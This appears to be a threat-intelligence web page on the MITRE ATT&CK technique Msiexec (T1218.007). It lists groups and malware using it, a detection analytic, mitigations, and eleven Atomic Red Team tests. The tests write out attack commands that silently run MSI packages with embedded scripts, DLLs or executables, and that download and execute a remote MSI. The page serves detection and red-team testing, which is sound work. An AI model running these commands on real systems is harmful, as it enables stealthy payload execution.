tfMITRE ATT&CK sub-technique

Msiexec T1218.007

sub-technique of T1218 System Binary Proxy Execution

Tactic: Stealth
Platform: Windows
Version: 3.0
Created: 24 January 2020
Last modified: 12 May 2026
Contributors: Alexandros Pappas; Ziv Kaspersky, Cymptom

Adversaries may abuse msiexec.exe to proxy execution of malicious payloads. Msiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi).[1] The Msiexec.exe binary may also be digitally signed by Microsoft.

ReconResource DevInitial AccessExecutionPersistencePriv EscStealthDef ImpairmentCred AccessDiscoveryLateral MoveCollectionC2ExfiltrationImpact

Threat groupsTop 25%

Threat groups75th percentile · 75% of ATT&CK techniques have this many threat groups attributed or fewer.

CampaignsTop 17%

Campaigns83rd percentile · 83% of ATT&CK techniques have this many campaigns recorded or fewer.

Tools & malwareTop 15%

Tools & malware85th percentile · 85% of ATT&CK techniques have this many tools implementing them or fewer.

Detection rulesTop 15%

Detection rules85th percentile · 85% of ATT&CK techniques have this many detection rules written or fewer.

Msiexec MITRE reference T1218.007

Top 25%of all ATT&CK techniques for number of groups

6 groups have been recorded using this technique. Newest first; each entry carries MITRE’s procedure text and a link to the group’s full record. Click a name to filter the rules below.

ZIRCONIUMG0128 ↗

Has used the msiexec.exe command-line utility to download and execute malicious MSI files.1

created 2021-03-241 referenceaka APT31

MacheteG0095 ↗

Has used msiexec to install the Machete malware.1

created 2019-09-131 referenceaka APT-C-43

TA505G0092 ↗

Has used msiexec to download and execute malicious Windows Installer files.1 2 3

created 2019-05-283 referencesaka Hive0065

APT38G0082 ↗

Has used msiexec.exe to execute malicious files.1

created 2019-01-291 referenceaka NICKEL GLADSTONE

RancorG0075 ↗

Has used msiexec to download and execute malicious installer files over HTTP.1

created 2018-10-171 reference

MoleratsG0021 ↗

Has used msiexec.exe to execute an MSI payload.1

created 2017-05-311 referenceaka Operation Molerats

All 6 groups for this technique

23 software entries are documented implementing this technique. MITRE files each as a tool or as malware; newest first, then by how many groups carry them.

Tsundere BotnetS9034 ↗

Has been distributed via an MSI installer.1

created 2026-04-20MALWAREcarried by 1 group

DOWNIISSAS9021 ↗

Can create an instance of msiexec.exe and inject LODEINFO shellcode into the memory of the process.1

created 2026-04-17MALWAREcarried by 1 group

RedLine StealerS1240 ↗

Has been installed via MSI Installer.1

created 2025-09-17MALWARE

LatrodectusS1160 ↗

Has called msiexec to install remotely-hosted MSI files.1 2

created 2024-09-16MALWAREcarried by 2 groups

Raspberry RobinS1130 ↗

Uses msiexec.exe for post-installation communication to command and control infrastructure.1 Msiexec.exe is executed referencing a remote resource for second-stage payload retrieval and execution.2

created 2024-05-17MALWARE

MispaduS1122 ↗

Has been installed via MSI installer.1 2

created 2024-03-13MALWAREcarried by 1 group

All 23 software entries for this technique · 6 newest in this preview

Offense vs defense T1218.007

Is defensive coverage keeping up with adversary use? Eight counts, each ranked against all 697 ATT&CK techniques. Attack sits left, defense right, so a shape leaning left means adversaries are better documented here than defenders are equipped. Hover any spoke for its percentile and the share of techniques that have more. The timeline below shows when each side arrived.

How it got here

Range

Adversary activity (campaign spans) over cumulative rule output. Each source is plotted independently from zero, so neither line includes the other. Campaign dates are year-granularity.

Campaigns · 2Sigma rules (cumulative) · 10Splunk ESCU (cumulative) · 9

first rule: 2018 Q1 · 2 of 2 campaigns plotted

Msiexec detection strategy DET0158

MITRE names one behaviour worth catching for this technique and breaks it into 1 analytic, one per platform. Each carries the log sources it needs and the fields you tune per environment.

Detection of Msiexec Abuse for Local, Network, and DLL Execution

Enterprise

1 platform

AN0445 · Windows

Detection of msiexec.exe execution where command-line arguments reference remote MSI packages, UNC paths, HTTP/HTTPS URLs, or DLLs, correlated with subsequent module loads and/or network connections to previously unseen destinations. The behavioral chain links process creation of msiexec.exe with suspicious parameters, network activity to retrieve payloads, and module loading indicative of malicious installation or DLL execution.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Module LoadDC0016	WinEventLog:Sysmon	EventCode=7
Process CreationDC0032	WinEventLog:Security	EventCode=4688
Network Connection CreationDC0082	WinEventLog:Sysmon	EventCode=3, 22

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
SuspiciousCommandlinePatterns	Patterns for identifying malicious msiexec.exe usage (e.g., UNC paths, external domains, DLL execution flags)
SuspiciousDestinationList	List of external domains or IP ranges considered suspicious for msiexec network connections
TimeWindow	Time range in seconds/minutes for correlating msiexec.exe execution with module load and network activity
LegitimateMSIHashes	Hash list of MSI packages considered known-good to reduce false positives

Disable or Remove Feature or ProgramM1042

Consider disabling the AlwaysInstallElevated policy to prevent elevated execution of Windows Installer packages.

Privileged Account ManagementM1026

Restrict execution of Msiexec.exe to privileged accounts or groups that need to use it to lessen the opportunities for malicious usage.

Tests11Executorscmd 7 · PowerShell 4Need elevation0 of 11Have prerequisites10Have cleanup0Platformswindows

Test

Platform

Executor

Elevation

Prereqs

Cleanup

Ref

Msiexec.exe - Execute Local MSI file with embedded JScript

windows

cmd

—

Executes an MSI containing embedded JScript code using msiexec.exe

Input arguments

Name	Type	Default	Description
action	string	i	Specifies the MSI action to perform: i (install), a (admin), j (advertise). The included MSI is designed to support all three action types.
msi_exe	path	c:\windows\system32\msiexec.exe	MSIExec File Path
msi_payload	path	PathToAtomicsFolder\T1218.007\bin\T1218.007_JScript.msi	MSI file to execute

Attack command

#{msi_exe} /q /#{action} "#{msi_payload}"

Prerequisite

The MSI file must exist on disk at specified location (#{msi_payload})

Check

if (Test-Path "#{msi_payload}") {exit 0} else {exit 1}

Satisfy

New-Item -Type Directory (split-path "#{msi_payload}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/T1218.007_JScript.msi" -OutFile "#{msi_payload}"

GUID8fd49539-5db5-4554-856d-c48cc5bcd58c

Msiexec.exe - Execute Local MSI file with embedded VBScript

windows

cmd

—

Executes an MSI containing embedded VBScript code using msiexec.exe

Input arguments

Name	Type	Default	Description
action	string	i	Specifies the MSI action to perform: i (install), a (admin), j (advertise). The included MSI is designed to support all three action types.
msi_exe	path	c:\windows\system32\msiexec.exe	MSIExec File Path
msi_payload	path	PathToAtomicsFolder\T1218.007\bin\T1218.007_VBScript.msi	MSI file to execute

Attack command

#{msi_exe} /q /#{action} "#{msi_payload}"

Prerequisite

The MSI file must exist on disk at specified location (#{msi_payload})

Check

if (Test-Path "#{msi_payload}") {exit 0} else {exit 1}

Satisfy

New-Item -Type Directory (split-path "#{msi_payload}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/T1218.007_VBScript.msi" -OutFile "#{msi_payload}"

GUIDa242e7de-f7af-4687-92a2-1fa0e29800af

Msiexec.exe - Execute Local MSI file with an embedded DLL

windows

cmd

—

Executes an MSI containing an embedded DLL using msiexec.exe

Input arguments

Name	Type	Default	Description
action	string	i	Specifies the MSI action to perform: i (install), a (admin), j (advertise). The included MSI is designed to support all three action types.
msi_exe	path	c:\windows\system32\msiexec.exe	MSIExec File Path
msi_payload	path	PathToAtomicsFolder\T1218.007\bin\T1218.007_DLL.msi	MSI file to execute

Attack command

#{msi_exe} /q /#{action} "#{msi_payload}"

Prerequisite

The MSI file must exist on disk at specified location (#{msi_payload})

Check

if (Test-Path "#{msi_payload}") {exit 0} else {exit 1}

Satisfy

New-Item -Type Directory (split-path "#{msi_payload}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/T1218.007_DLL.msi" -OutFile "#{msi_payload}"

GUIDf5d5b58b-e63c-4390-ba32-e0a7d4dea84f

Msiexec.exe - Execute Local MSI file with an embedded EXE

windows

cmd

—

Executes an MSI containing an embedded EXE using msiexec.exe

Input arguments

Name	Type	Default	Description
action	string	i	Specifies the MSI action to perform: i (install), a (admin), j (advertise). The included MSI is designed to support all three action types.
msi_exe	path	c:\windows\system32\msiexec.exe	MSIExec File Path
msi_payload	path	PathToAtomicsFolder\T1218.007\bin\T1218.007_EXE.msi	MSI file to execute

Attack command

#{msi_exe} /q /#{action} "#{msi_payload}"

Prerequisite

The MSI file must exist on disk at specified location (#{msi_payload})

Check

if (Test-Path "#{msi_payload}") {exit 0} else {exit 1}

Satisfy

New-Item -Type Directory (split-path "#{msi_payload}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/T1218.007_EXE.msi" -OutFile "#{msi_payload}"

GUID49ad4c48-b83c-4e5d-8179-1ae7b0ea6cb5

WMI Win32_Product Class - Execute Local MSI file with embedded JScript

windows

PowerShell

—

Executes an MSI containing embedded JScript code using the WMI Win32_Product class

Input arguments

Name	Type	Default	Description
action	string	Install	Specifies the MSI action to perform: Install, Admin, Advertise. The included MSI is designed to support all three action types.
msi_payload	path	PathToAtomicsFolder\T1218.007\bin\T1218.007_JScript.msi	MSI file to execute

Attack command

Invoke-CimMethod -ClassName Win32_Product -MethodName #{action} -Arguments @{ PackageLocation = '#{msi_payload}' }

Prerequisite

The MSI file must exist on disk at specified location (#{msi_payload})

Check

if (Test-Path "#{msi_payload}") {exit 0} else {exit 1}

Satisfy

New-Item -Type Directory (split-path "#{msi_payload}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/T1218.007_JScript.msi" -OutFile "#{msi_payload}"

GUID3e3a66a2-706c-46d0-a2cb-a6ce8f42c5ae

WMI Win32_Product Class - Execute Local MSI file with embedded VBScript

windows

PowerShell

—

Executes an MSI containing embedded VBScript code using the WMI Win32_Product class

Input arguments

Name	Type	Default	Description
action	string	Install	Specifies the MSI action to perform: Install, Admin, Advertise. The included MSI is designed to support all three action types.
msi_payload	path	PathToAtomicsFolder\T1218.007\bin\T1218.007_VBScript.msi	MSI file to execute

Attack command

Invoke-CimMethod -ClassName Win32_Product -MethodName #{action} -Arguments @{ PackageLocation = '#{msi_payload}' }

Prerequisite

The MSI file must exist on disk at specified location (#{msi_payload})

Check

if (Test-Path "#{msi_payload}") {exit 0} else {exit 1}

Satisfy

New-Item -Type Directory (split-path "#{msi_payload}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/T1218.007_VBScript.msi" -OutFile "#{msi_payload}"

GUID9ed93a0b-49d1-4b9c-8292-5aa0c30d36ba

WMI Win32_Product Class - Execute Local MSI file with an embedded DLL

windows

PowerShell

—

Executes an MSI containing an embedded DLL using the WMI Win32_Product class

Input arguments

Name	Type	Default	Description
action	string	Install	Specifies the MSI action to perform: Install, Admin, Advertise. The included MSI is designed to support all three action types.
msi_payload	path	PathToAtomicsFolder\T1218.007\bin\T1218.007_DLL.msi	MSI file to execute

Attack command

Invoke-CimMethod -ClassName Win32_Product -MethodName #{action} -Arguments @{ PackageLocation = '#{msi_payload}' }

Prerequisite

The MSI file must exist on disk at specified location (#{msi_payload})

Check

if (Test-Path "#{msi_payload}") {exit 0} else {exit 1}

Satisfy

New-Item -Type Directory (split-path "#{msi_payload}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/T1218.007_DLL.msi" -OutFile "#{msi_payload}"

GUID255cdf41-5f6a-4a18-bd87-7be99569fcf0

WMI Win32_Product Class - Execute Local MSI file with an embedded EXE

windows

PowerShell

—

Executes an MSI containing an embedded EXE using the WMI Win32_Product class

Input arguments

Name	Type	Default	Description
action	string	Install	Specifies the MSI action to perform: Install, Admin, Advertise. The included MSI is designed to support all three action types.
msi_payload	path	PathToAtomicsFolder\T1218.007\bin\T1218.007_EXE.msi	MSI file to execute

Attack command

Invoke-CimMethod -ClassName Win32_Product -MethodName #{action} -Arguments @{ PackageLocation = '#{msi_payload}' }

Prerequisite

The MSI file must exist on disk at specified location (#{msi_payload})

Check

if (Test-Path "#{msi_payload}") {exit 0} else {exit 1}

Satisfy

New-Item -Type Directory (split-path "#{msi_payload}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/T1218.007_EXE.msi" -OutFile "#{msi_payload}"

GUIDd9894042-05bf-4f5a-b19b-b59eda5f67fc

Msiexec.exe - Execute the DllRegisterServer function of a DLL

windows

cmd

—

Loads a DLL into msiexec.exe and calls its DllRegisterServer function. Note: the DLL included in the "bin" folder is only built for 64-bit, so this won't work on a 32-bit OS.

Input arguments

Name	Type	Default	Description
msi_exe	path	c:\windows\system32\msiexec.exe	MSIExec File Path
dll_payload	path	PathToAtomicsFolder\T1218.007\bin\MSIRunner.dll	DLL to execute that has an implemented DllRegisterServer function

Attack command

#{msi_exe} /y "#{dll_payload}"

Prerequisite

The DLL must exist on disk at specified location (#{dll_payload})

Check

if (Test-Path "#{dll_payload}") {exit 0} else {exit 1}

Satisfy

New-Item -Type Directory (split-path "#{dll_payload}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/MSIRunner.dll -OutFile "#{dll_payload}"

GUID8bb3a974-6db5-4108-82bb-bd67777a288d

Msiexec.exe - Execute the DllUnregisterServer function of a DLL

windows

cmd

—

Loads a DLL into msiexec.exe and calls its DllUnregisterServer function. Note: the DLL included in the "bin" folder is only built for 64-bit, so this won't work on a 32-bit OS.

Input arguments

Name	Type	Default	Description
msi_exe	path	c:\windows\system32\msiexec.exe	MSIExec File Path
dll_payload	path	PathToAtomicsFolder\T1218.007\bin\MSIRunner.dll	DLL to execute that has an implemented DllUnregisterServer function

Attack command

#{msi_exe} /z "#{dll_payload}"

Prerequisite

The DLL must exist on disk at specified location (#{dll_payload})

Check

if (Test-Path "#{dll_payload}") {exit 0} else {exit 1}

Satisfy

New-Item -Type Directory (split-path "#{dll_payload}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/MSIRunner.dll -OutFile "#{dll_payload}"

GUIDb6c4b3b8-eabd-425d-bc8b-1fa10f6a7f3d

Msiexec.exe - Execute Remote MSI file

windows

cmd

—

Execute arbitrary MSI file retrieved remotely. Less commonly seen in application installation, commonly seen in malware execution. The MSI executes a built-in JScript payload that launches powershell.exe.

Input arguments

Name	Type	Default	Description
msi_exe	path	c:\windows\system32\msiexec.exe	MSIExec File Path
msi_payload	string	https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/T1218.007_JScript.msi	MSI file to execute

Attack command

#{msi_exe} /q /i "#{msi_payload}"

GUID29d477b6-2f07-4562-9f7d-0293acb43899

Tests from Atomic Red Team (MIT licence) · technique definition

Msiexec detections T1218.007

19 rules are mapped to this technique. Parent techniques also include their sub-techniques’ rules. Click a slice or key entry to filter the table.

Top 15%of all ATT&CK techniques for number of rules

Product

Severity

Library

Drag headers to reorder | Drag edges to resize

Loading detections...

Select	Title	Description	Category	Status	Event	Product	MITRE ATT&CK	CVEs	Severity	Author	Created	Updated	ID	Refs